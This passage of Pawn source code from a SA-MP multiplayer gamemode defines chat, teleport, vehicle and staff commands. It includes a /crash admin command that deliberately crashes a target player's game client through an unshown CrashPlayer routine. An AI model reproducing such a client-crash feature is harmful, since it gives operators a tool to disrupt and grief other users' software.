			if(Reported[playerid] >= INVALID_PLAYER_ID-2) return SCM(playerid,COLOR_SINA3,"You haven't a opened help conversation.");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /al <Chat>");
			new strlol[256];
			format(strlol, 256, "Player %s: %s",PINFO[playerid][pName],tmp);
			SCM(Reported[playerid],COLOR_YELLOW,strlol);
			SCM(playerid,COLOR_YELLOW,strlol);
			return 1;
		}
		if(!strcmp(cmd,"/hh",true))
		{
			if(PINFO[playerid][pHelper] == 0) return SCM(playerid,COLOR_GREEN,"Error: Your helper level isn't high enough to use this command.");
			SCM(playerid,COLOR_GREEN,"|_________________Helper Commands (Level)_________________|");
			SCM(playerid,COLOR_WHITE,"/hh, /hl, /ah, /helperchat(/hc), /staffshop, /mysactivity, /arg, /detcon");
			SCM(playerid,COLOR_WHITE,"/ch, /helpmes, /requestgoto, /pm, /staffshop, /staffshopstats, /sar, /message");
			return 1;
		}
		if(!strcmp(cmd,"/findrentveh",true))
		{
			if(RentedVehicle[playerid] == INVALID_VEHICLE_ID) return SCM(playerid,COLOR_SINA3,"You don't rent a vehicle.");
			if(!IsVehicleConnected(RentedVehicle[playerid])) return 1;
			if(OnCheckpoint[playerid] != 0) return SCM(playerid,COL_SYN,"You already have a enable checkpoint.");
			new Float:ui[3];
			GetVehiclePos(RentedVehicle[playerid], ui[0], ui[1], ui[2]);
			SetPlayerCheckpoint(playerid, ui[0],ui[1],ui[2],5);
			OnCheckpoint[playerid] = 1;
			CP[playerid] = 1187;
			return SCM(playerid,COL_SYN,"Server placed a checkpoint at your rented vehicle.");
		}
		if(!strcmp(cmd,"/say",true))
		{
		if(Specing[playerid] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't send chat when you are specing.");
			if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /say <Text>");
			new name[40];
			GetPlayerName(playerid, name, sizeof(name));
			new strchat[144];
			new chaxt[144];
			format(chaxt, sizeof(chaxt), tmp);
			if(ChatColor[playerid]) AllowColor(chaxt);
			if(PINFO[playerid][pAdmin]<12)CensorText(chaxt);
			format(strchat, sizeof(strchat), "%s Says: %s", name, chaxt);
			ProxDetector(20.0, playerid, strchat,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
			if(IsAdv(chaxt)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
		  for(new i; i < sizeof(SusWords); i++)
		  {
			 if(PINFO[playerid][pAdmin] < 12)
			 {
         if(strcmp(tmp, LastMessageWarned[playerid], false))
         {
			  if(strfind(tmp, SusWords[i], true) != -1)
			  {
				  new string[144];
				  GetPlayerName(playerid, name, sizeof(name));
				  format(string, sizeof(string), "[AD-{00FF00}Chat{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, tmp);
				  SendAdminMMessage(COLOR_SINAGHERMEZ,string);
				  strcpy(LastMessageWarned[playerid],tmp,149);
				  break;
		  }
			  }
			 }
		  }
			return 1;
		}
/* ---------------[ Harf Zadan ]---------------- */
/*
	if(!strcmp(cmd,"/say",true))
		{
			if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /say <Text>");
			new name[40];
			GetPlayerName(playerid, name, sizeof(name));
			new strchat[1024];
			format(strchat, sizeof(strchat), "%s Says: %s", name, tmp);
			ProxDetector(20.0, playerid, strchat,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
			return 1;
		}
		*/
		/* ---------------[ Manager Name Color Chat ]--------------------- */
		/*
	if(strcmp(cmd, "/managersay", true) == 0 || strcmp(cmd, "/ms", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 11) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /managersay <Text>");
			new name[40];
			GetPlayerName(playerid, name, sizeof(name));
			new strchat[1024];
			format(strchat, sizeof(strchat), "{FFFF00}%s {FFFFFF}Says: %s", name, tmp);
			ProxDetector(20.0, playerid, strchat,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
		  for(new i; i < sizeof(SusWords); i++)
		  {
			   if(strfind(tmp, SusWords[i], true) != -1)
			   {
					new name[512], string[512];
					GetPlayerName(playerid, name, sizeof(name));
					format(string, sizeof(string), "[AD-{00FF00}CHAT{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid,tmp);
					SendAdminMessage(COLOR_SINAGHERMEZ,string);
					break;
			   }
		  }
			return 1;
		}
		*/
/* ---------------[ Manager Name Color Chat End ]--------------------- */
/* ---------------[ Assistant Name Color Chat ]--------------------- */
/*
	if(strcmp(cmd, "/assistantsay", true) == 0 || strcmp(cmd, "/as", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /assistantsay <Text>");
			new name[40];
			GetPlayerName(playerid, name, sizeof(name));
			new strchat[1024];
			format(strchat, sizeof(strchat), "{FF00FF}%s {FFFFFF}Says: %s", name, tmp);
			ProxDetector(20.0, playerid, strchat,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
		  for(new i; i < sizeof(SusWords); i++)
		  {
			   if(strfind(tmp, SusWords[i], true) != -1)
			   {
					new name[512], string[512];
					GetPlayerName(playerid, name, sizeof(name));
					format(string, sizeof(string), "[AD-{00FF00}CHAT{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid,tmp);
					SendAdminMessage(COLOR_SINAGHERMEZ,string);
					break;
			   }
		  }
			return 1;
		}
		*/
/* ---------------[ Assistant Name Color Chat End ]--------------------- */
/* ---------------[ Owner Name Color Chat ]--------------------- */
/*
	if(strcmp(cmd, "/ownersay", true) == 0 || strcmp(cmd, "/os", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /ownersay <Text>");
			new name[40];
			GetPlayerName(playerid, name, sizeof(name));
			new strchat[1024];
			format(strchat, sizeof(strchat), "{C60000}%s {FFFFFF}Says: %s", name, tmp);
			ProxDetector(20.0, playerid, strchat,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
		  for(new i; i < sizeof(SusWords); i++)
		  {
			   if(strfind(tmp, SusWords[i], true) != -1)
			   {
					new name[512], string[512];
					GetPlayerName(playerid, name, sizeof(name));
					format(string, sizeof(string), "[AD-{00FF00}CHAT{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid,tmp);
					SendAdminMessage(COLOR_SINAGHERMEZ,string);
					break;
			   }
		  }
			return 1;
		}
		*/
/* ---------------[ Owner Name Color Chat End ]--------------------- */
/* ---------------[ Owner Name Color Chat ]--------------------- */
/*
	if(strcmp(cmd, "/hostersay", true) == 0 || strcmp(cmd, "/hs", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /hostersay <Text>");
			new name[40];
			GetPlayerName(playerid, name, sizeof(name));
			new strchat[1024];
			format(strchat, sizeof(strchat), "{8E2323}%s {FFFFFF}Says: %s", name, tmp);
			ProxDetector(20.0, playerid, strchat,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
		  for(new i; i < sizeof(SusWords); i++)
		  {
			   if(strfind(tmp, SusWords[i], true) != -1)
			   {
					new name[512], string[512];
					GetPlayerName(playerid, name, sizeof(name));
					format(string, sizeof(string), "[AD-{00FF00}CHAT{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid,tmp);
					SendAdminMessage(COLOR_SINAGHERMEZ,string);
					break;
			   }
		  }
			return 1;
		}
		*/
/* ---------------[ Owner Name Color Chat End ]--------------------- */
		/*if(!strcmp(cmd,"/me",true))
		{
			if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /me <Text>");
			new name[40];
			GetPlayerName(playerid, name, sizeof(name));
			new strchat[1024];
			format(strchat, sizeof(strchat), "* %s %s", name, tmp);
			 ProxDetector(30.0, playerid, strchat, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
			return 1;
		}
		if(!strcmp(cmd,"/do",true))
		{
			if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /do <Text>");
			new strchat[1024];
			new name[40];
			GetPlayerName(playerid, name, sizeof(name));
			format(strchat, sizeof(strchat), "* %s (( %s ))", tmp, name);
			 ProxDetector(30.0, playerid, strchat, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);

			 new tedad = 0;
		for(new b = 0;b < 9;b++) {
		new str[512];
		format(str, sizeof(str), "%d",b);
		if(strfind(tmp, str, true) != -1)
		{
		tedad++;
		}
		}
		if(tedad > 3) {
		new name[512], string[512];
		GetPlayerName(playerid, name, sizeof(name));
		format(string, sizeof(string), "[RT] %s (%d): %s ", name, playerid,tmp);
		SendAdminMessage(COLOR_GG,string);
		}
		for(new i; i < sizeof(SusWords); i++)
		{
			if(strfind(tmp, SusWords[i], true) != -1)
			{
				new name[512], string[512];
				GetPlayerName(playerid, name, sizeof(name));
				format(string, sizeof(string), "[RT] %s (%d): %s", name, playerid,tmp);
				SendAdminMessage(COLOR_GG,string);
			}
		}
			return 1;
		}*/
		if(!strcmp(cmd,"/amodveh",true))
		{
			if(PINFO[playerid][pAdmin] <= 3 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_GG,"Error: You are not in any vehicle.");
			new RAType[256];
			RAType = strtok(cmdtext,idx);
			if(!strlen(RAType)) return SCM(playerid, COL_SYN, "Syntax: /amodveh <Remove/Add> <ComponetID(1000-1193 see sa-mp wiki)>");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /amodveh <Remove/Add> <ComponetID(1000-1193 see sa-mp wiki)>");
			new comp = strval(tmp);
			if(comp < 1000 || comp > 1193) return SCM(playerid,COLOR_SINA3,"Invalid componetid.");
			new string[30];
			new slotid = GetVehicleComponentType(comp);
			switch(slotid)
			{
				case 0:{strmid(string, "spoiler", 0, strlen("spoiler"), 30);}
				case 1:{strmid(string, "hood", 0,strlen("hood"), 30);}
				case 2:{strmid(string, "roof", 0,strlen("roof"), 30);}
				case 3:{strmid(string, "side skirt", 0,strlen("side skirt"), 30);}
				case 4:{strmid(string, "lamp", 0,strlen("lamp"), 30);}
				case 5:{strmid(string, "nitro", 0,strlen("nitro"), 30);}
				case 6:{strmid(string, "exhaust", 0,strlen("exhaust"), 30);}
				case 7:{strmid(string, "wheel", 0,strlen("wheel"), 30);}
				case 8:{strmid(string, "streo system", 0,strlen("streo system"), 30);}
				case 9:{strmid(string, "hydraulics", 0,strlen("hydraulics"), 30);}
				case 10:{strmid(string, "front bumper", 0,strlen("front bumper"), 30);}
				case 11:{strmid(string, "rear bumper", 0,strlen("rear bumper"), 30);}
				case 12:{strmid(string, "right vent", 0,strlen("right vent"), 30);}
				case 13:{strmid(string, "left vent", strlen("left vent"), 30);}
			}
			new strali[256];
			if(!strcmp(RAType, "Add", true))
			{
				AddVehicleComponent(GetPlayerVehicleID(playerid), comp);
				format(strali, 256, "You attached a(n) %s to your vehicle.",string);
			}
			else if(!strcmp(RAType, "Remove", true))
			{
				RemoveVehicleComponent(GetPlayerVehicleID(playerid), comp);
				format(strali, 256, "You deattached a(n) %s from your vehicle.",string);
			}
			return SCM(playerid,COLOR_GG,strali);
		}
		if(!strcmp(cmd,"/vehcolor",true))
		{
			if(PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_GG,"Error: You are not in any vehicle.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /vehcolor <ColorID1> <ColorID2>");
			new col1 = strval(tmp);
			if(col1 < 0 || col1 > 255) return SCM(playerid,COLOR_SINA3,"ColorIDs must be between 0 and 255");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /vehcolor <ColorID1> <ColorID2>");
			new col2 = strval(tmp);
			if(col2 < 0 || col2 > 255) return SCM(playerid,COLOR_SINA3,"ColorIDs must be between 0 and 255");
			ChangeVehicleColor(GetPlayerVehicleID(playerid), col1, col2);
			return SCM(playerid,COLOR_SINA3,"The color of the vehicle has been changed.");
		}
		/*if(!strcmp(cmd,"/gotopveh",true))
		{
			if(PINFO[playerid][pAdmin] <= 3) return SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /GotoPVeh <Playerid/PartOfName>");
			new taraf = ReturnUser6(tmp);
			if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_YELLOW2,"Error: Player is not connected.");
			if(!IsPlayerInAnyVehicle(taraf)) return SCM(playerid,COLOR_SINA3,"Error: Player is not in any vehicle.");
			new veh = GetPlayerVehicleID(taraf),Passengers;
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i))
				{
					if(IsPlayerInVehicle(i, veh))
					{
						if(GetPlayerState(i) == PLAYER_STATE_PASSENGER)
						{
							Passengers ++;
						}
					}
				}
			}
			if(Passengers >= VehiclePassengerSlots[GetVehicleModel(veh)-400])
			{
				new Float:lp[3],Float:Ang,virtualw,inter;
				GetVehiclePos(veh, lp[0], lp[1], lp[2]);
				GetVehicleZAngle(veh, Ang);
				virtualw = GetVehicleVirtualWorld(veh);
				inter = GetPlayerInterior(taraf);
				SetPlayerPos(playerid, lp[0], lp[1], lp[2]+0.4);
				SetPlayerFacingAngle(playerid, Ang);
				SetPlayerVirtualWorld(playerid,virtualw);
				SetPlayerInterior(playerid, inter);
				Mahal[playerid] = Mahal[taraf];
				TooBiz[playerid] = TooBiz[taraf];
				TooHouse[playerid] = TooHouse[taraf];
				return SCM(playerid,COLOR_SINA3,"That player's vehicle is full vehicle passenger seats.");
			}
			new PassengerPut;
			for(new i = 1;i<VehiclePassengerSlots[GetVehicleModel(veh)-400]+1;i++)
			{
				for(new b;b<Akharish;i++)
				{
					if(IsPlayerConnected(b))
					{
						if(GetPlayerVehicleID(b) == veh && GetPlayerState(b) == PLAYER_STATE_PASSENGER && GetPlayerVehicleSeat(b) == i) continue;
						PassengerPut = i;
					}
				}
			}
			new virtualw,inter;
			virtualw = GetVehicleVirtualWorld(veh);
			inter = GetPlayerInterior(taraf);
			SetPlayerVirtualWorld(playerid,virtualw);
			SetPlayerInterior(playerid, inter);
			Mahal[playerid] = Mahal[taraf];
			TooBiz[playerid] = TooBiz[taraf];
			TooHouse[playerid] = TooHouse[taraf];
			PutPlayerInVehicle(playerid, veh, PassengerPut);
			return SCM(playerid,COLOR_GG,"You have been teleported.");
		} */
		if(!strcmp(cmd,"/uup",true))
		{
			if(PINFO[playerid][pAdmin] < 3 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /uup <Amount(FLOAT)>");
			new Float:alii = floatstr(tmp),sttrr[144];
			if(alii == 0)
			{
		  format(sttrr,144,"{FFFFFF}Admin %s didn't went anywhere.", PlayerInfo[playerid][pName]);
		  //AdminWarn(sttrr);
		  }
			if(alii < 0)
			{
		  format(sttrr,144,"{FFFFFF}Admin %s went down by %.2f.", PlayerInfo[playerid][pName], -alii);
		  AdminWarn(sttrr);
			SCM(playerid,COLOR_GG,"You went down.");
		  }
			if(alii >= 0.01)
			{
		  format(sttrr,144,"{FFFFFF}Admin %s went up by %.2f.", PlayerInfo[playerid][pName], alii);
		  AdminWarn(sttrr);
			SCM(playerid,COLOR_GG,"You went up.");
		  }
			if(IsPlayerInAnyVehicle(playerid))
			{
				new Float:ppv[3];
				GetVehiclePos(GetPlayerVehicleID(playerid),ppv[0],ppv[1],ppv[2]);
				SetVehiclePos(GetPlayerVehicleID(playerid),ppv[0],ppv[1],ppv[2]+alii);
				return 1;
			}
			new Float:ppp[3];
			GetPlayerPos(playerid,ppp[0],ppp[1],ppp[2]);
			SetPlayerPos(playerid,ppp[0],ppp[1],ppp[2]+alii);
			return 1;
		}
		
		
		
		
		
		
		if(!strcmp(cmd,"/front",true))
	{
	new Float:Pos[5],Float:amount,sttrr[144];
	if(PlayerInfo[playerid][pAdmin] >= 3 || PINFO[playerid][pSponser] == 1)
	{
	   tmp = strtok(cmdtext,idx);
	   if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /front <Amount(FLOAT)>");
	   amount = floatstr(tmp);
	   GetXYInFrontOfPlayer(playerid,Pos[3],Pos[4],amount);
	   if(IsPlayerInAnyVehicle(playerid))
	   {
		  GetVehiclePos(GetPlayerVehicleID(playerid),Pos[0],Pos[1],Pos[2]);
		  SetVehiclePos(GetPlayerVehicleID(playerid),Pos[3],Pos[4],Pos[2]);
	   }
	   else
	   {
		  GetPlayerPos(playerid,Pos[0],Pos[1],Pos[2]);
		  SetPlayerPos(playerid,Pos[3],Pos[4],Pos[2]);
	   }
			if(amount == 0)
			{
		  format(sttrr,144,"{FFFFFF}Admin %s didn't went anywhere.", PlayerInfo[playerid][pName]);
		  //AdminWarn(sttrr);
		  }
			if(amount < 0)
			{
		  format(sttrr,144,"{FFFFFF}Admin %s went rear by %.2f.", PlayerInfo[playerid][pName], -amount);
		  AdminWarn(sttrr);
			SCM(playerid,COLOR_GG,"You went back.");
		  }
			if(amount >= 0.01)
			{
		  format(sttrr,144,"{FFFFFF}Admin %s went front by %.2f.", PlayerInfo[playerid][pName], amount);
		  AdminWarn(sttrr);
			SCM(playerid,COLOR_GG,"You went front.");
		  }
	}
	else return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
	return 1;
}
		
		
		
		

		if(!strcmp(cmd,"/right",true))
	{
	new Float:Pos[5],Float:amount,sttrr[144];
	if(PlayerInfo[playerid][pAdmin] >= 3 || PINFO[playerid][pSponser] == 1)
	{
	   tmp = strtok(cmdtext,idx);
	   if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /right <Amount(FLOAT)>");
	   amount = floatstr(tmp);
	   GetXYInRightOfPlayer(playerid,Pos[3],Pos[4],amount);
	   if(IsPlayerInAnyVehicle(playerid))
	   {
		  GetVehiclePos(GetPlayerVehicleID(playerid),Pos[0],Pos[1],Pos[2]);
		  SetVehiclePos(GetPlayerVehicleID(playerid),Pos[3],Pos[4],Pos[2]);
	   }
	   else
	   {
		  GetPlayerPos(playerid,Pos[0],Pos[1],Pos[2]);
		  SetPlayerPos(playerid,Pos[3],Pos[4],Pos[2]);
	   }
			if(amount == 0)
			{
		  format(sttrr,144,"{FFFFFF}Admin %s didn't went anywhere.", PlayerInfo[playerid][pName]);
		  //AdminWarn(sttrr);
		  }
			if(amount < 0)
			{
		  format(sttrr,144,"{FFFFFF}Admin %s went left by %.2f.", PlayerInfo[playerid][pName], -amount);
		  AdminWarn(sttrr);
			SCM(playerid,COLOR_GG,"You went left.");
		  }
			if(amount >= 0.01)
			{
		  format(sttrr,144,"{FFFFFF}Admin %s went right by %.2f.", PlayerInfo[playerid][pName], amount);
		  AdminWarn(sttrr);
			SCM(playerid,COLOR_GG,"You went right.");
		  }
	}
	else return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
	return 1;
}



if(!strcmp(cmd,"/gotopveh",true))
{
	new id,seatid,str[128];
	if(PlayerInfo[playerid][pAdmin]<4 && PINFO[playerid][pSponser] == 0)return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
	if(IsPlayerInAnyVehicle(playerid))return SCM(playerid,COLOR_YELLOW2,"Error: Exit from your vehicle.");
	tmp=strtok(cmdtext,idx);
	if(!strlen(tmp))return SCM(playerid,COL_SYN,"Syntax: /gotopveh <PlayerID/PartOfName>");
	id=ReturnUser6(tmp);
	if(!IsPlayerConnected(id))return SCM(playerid,COLOR_RED,"Error: That player is not connected.");
	if(id==playerid)return SCM(playerid,COLOR_YELLOW2,"You can't use this command for yourself.");
	if(!IsPlayerInAnyVehicle(id))return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't in any vehicle.");
	if(GetVehicleNextSeat(GetPlayerVehicleID(id))==-1)return SCM(playerid,COLOR_YELLOW2,"Error: Player's vehicle is full.");
	new fingveh = GetPlayerVehicleID(playerid);
	if(OwnedMashin[fingveh] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't goto in a personal vehicle.");
	if(NoGoto[id] == 1 && PINFO[playerid][pAdmin] < 10 && PINFO[id][pAdmin] < PINFO[playerid][pAdmin])
	{
	SCM(playerid, COLOR_YELLOW2, "Error: That player enabled NoGoto.");
	return 1;
	}
	new Float:PpX,Float:PpY,Float:PpZ;
	GetPlayerPos(id,PpX,PpY,PpZ);
	if(IsPlayerInAnyVehicle(id)) GetVehiclePos(GetPlayerVehicleID(id),PpX,PpY,PpZ);
	SetPlayerPos(playerid,PpX+0.3,PpY+0.3,PpZ);
	seatid=GetVehicleNextSeat(GetPlayerVehicleID(id));
	AllowPPIV(id);
	PutPlayerInVehicle(playerid, GetPlayerVehicleID(id), seatid);
	format(str,sizeof(str),"[Admin-Warn]: {FFFFFF}Admin %s has teleported inside %s's vehicle (Seatid: %i)",PlayerInfo[playerid][pName],PlayerInfo[id][pName],seatid);
	SendAdminMessage(COLOR_AdminWarn,str);
	format(str,sizeof(str),"You have been teleported.");
	SCM(playerid,COLOR_GRAD1,str);
	return 1;
}

if(!strcmp(cmd,"/crash",true))
{
	new doplayerid,str[128];
	if(PlayerInfo[playerid][pAdmin] < 12)return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
	tmp=strtok(cmdtext,idx);
	if(!strlen(tmp))return SCM(playerid,COL_SYN,"Syntax: /crash <PlayerID/PartOfName>");
	doplayerid=ReturnUser6(tmp);
	if(!IsPlayerConnected(doplayerid))return SCM(playerid,COLOR_YELLOW2,"Error: That player is not connected.");
	if(PINFO[playerid][pAdmin] < PINFO[doplayerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
	if(doplayerid==playerid)return SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command for yourself.");
	CrashPlayer(doplayerid);
	format(str,sizeof(str),"%s's game was stopped working.", PINFO[doplayerid][pName]);
	SCM(playerid,COLOR_SINARANG,str);
	printf("Admin %s has crashed %s's game", PINFO[playerid][pName], PINFO[doplayerid][pName]);
	return 1;
}






if(!strcmp(cmd,"/adrag",true))
{
	new id,str[128],Float:Pos[3];
	if(PlayerInfo[playerid][pAdmin]>=4 || PINFO[playerid][pSponser] == 1)
	{
	   if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not in any vehicle.");
	   tmp=strtok(cmdtext,idx);
	   if(!strlen(tmp))return SCM(playerid,COL_SYN,"Syntax: /adrag <Playerid/PartOfName>");
	   id=ReturnUser6(tmp);
	   if(id==playerid)return SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command for yourself.");
	   if(!IsPlayerConnected(id)) return SCM(playerid,COLOR_YELLOW2,"Error: That player is not connected.");
	   if(GetVehicleNextSeat(GetPlayerVehicleID(playerid))==INVALID_SEAT_ID)return SCM(playerid,COLOR_YELLOW2,"Error: Your vehicle is full.");
	   if(PlayerInfo[playerid][pAdmin]<PlayerInfo[id][pAdmin])return SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command for your higher ranks people.");
	   //if(IsPlayerInAnyVehicle(id))return SCM(playerid,COLOR_YELLOW2,"Error: That player is in a vehicle.");
	   new Float:PpX,Float:PpY,Float:PpZ;
	   GetPlayerPos(playerid,PpX,PpY,PpZ);
	   if(IsPlayerInAnyVehicle(playerid)) GetVehiclePos(GetPlayerVehicleID(playerid),PpX,PpY,PpZ);
	   SetPlayerPos(id,PpX+0.3,PpY+0.3,PpZ);
	   GetPlayerPos(playerid,Pos[0],Pos[1],Pos[2]);
	   SetPlayerPos(id,Pos[0],Pos[1],Pos[2]);
	   SetPlayerVirtualWorld(id, GetPlayerVirtualWorld(playerid));
	   SetPlayerInterior(id,GetPlayerInterior(playerid));
	   TooBiz[id]=TooBiz[playerid];
	   TooHouse[id]=TooHouse[playerid];
	   AllowPPIV(id);
	   PutPlayerInVehicle(id,GetPlayerVehicleID(playerid),GetVehicleNextSeat(GetPlayerVehicleID(playerid)));
	   format(str,sizeof(str),"[Admin-Warn]: {FFFFFF}Admin %s dragged %s to %s vehicle. (Seatid: %i)",PlayerInfo[playerid][pName],PlayerInfo[id][pName],(PlayerInfo[playerid][pSex]==1) ? ("his") : ("her"),GetVehicleNextSeat(GetPlayerVehicleID(playerid)));
	   SendAdminMessage(COLOR_AdminWarn,str);
	   format(str,sizeof(str),"Admin %s has dragged you to %s vehicle.",PlayerInfo[playerid][pName],(PlayerInfo[playerid][pSex]==1) ? ("his") : ("her"));
	   //SCM(id,COLOR_GG,str);
	}
	else return SCM(playerid,COLOR_RED,"Error: You are not authorized to use this command.");
	return 1;
}



		
		if(!strcmp(cmd,"/setgravity",true))
{
	if(PlayerInfo[playerid][pAdmin] >= 8 || PlayerInfo[playerid][pSponser] == 1)
	{
	   new id,Float:amount,str[128];
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp))return SCM(playerid,COL_SYN,"Syntax: /setgravity <PlayerID/PartOfName> <Gravity Amount(Use 0.008 for normal gravity)>");
	   id=ReturnUser6(tmp);
	   if(!IsPlayerConnected(id))return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
	   tmp = strtok(cmdtext, idx);
	   amount = floatstr(tmp);
	   if(amount>1||amount<-1)return SCM(playerid,COLOR_YELLOW2,"Error: Invalid gravity, use a gravity between -1 and 1.{FF0000} (0.008 is normal gravity)");
	   if(PlayerInfo[playerid][pAdmin]<PlayerInfo[id][pAdmin])return SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command for your higher ranks people.");
	if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	{
	if(id!=playerid)
	{
	SCM(playerid,COLOR_YELLOW2,"Error: You can use this command just for yourself.");
	return 1;
	}
	}
	   SetPlayerGravity(id,amount);
	   format(str,sizeof(str),"[Admin-Warn]: {FFFFFF}Admin %s has changed %s's gravity to %f.",PlayerInfo[playerid][pName],PlayerInfo[id][pName],amount);
	   SendAdminMessage(COLOR_AdminWarn,str);
	   new strmstr[256];
	   format(strmstr,256,"Admin %s sets your gravity to %f", PINFO[playerid][pName], amount);
	   SendClientMessage(id, COLOR_Good, strmstr);
	}
	else return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
	return 1;
}
		
		
		
		
		
		
		if(!strcmp(cmd,"/ahelpers",true))
{
	if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pHlp] == 0 && PINFO[playerid][pSlp] == 0) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
	{
	   mysql_tquery(handle,"SELECT * FROM `users` WHERE pHelper!='0'","ShowHelpers","i",playerid);
	}
	return 1;
}
		
		
		if(!strcmp(cmd,"/aadmins",true))
{
	if(PINFO[playerid][pAdmin] < 10 && PINFO[playerid][pAlp] == 0 && PINFO[playerid][pSlp] == 0) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
	{
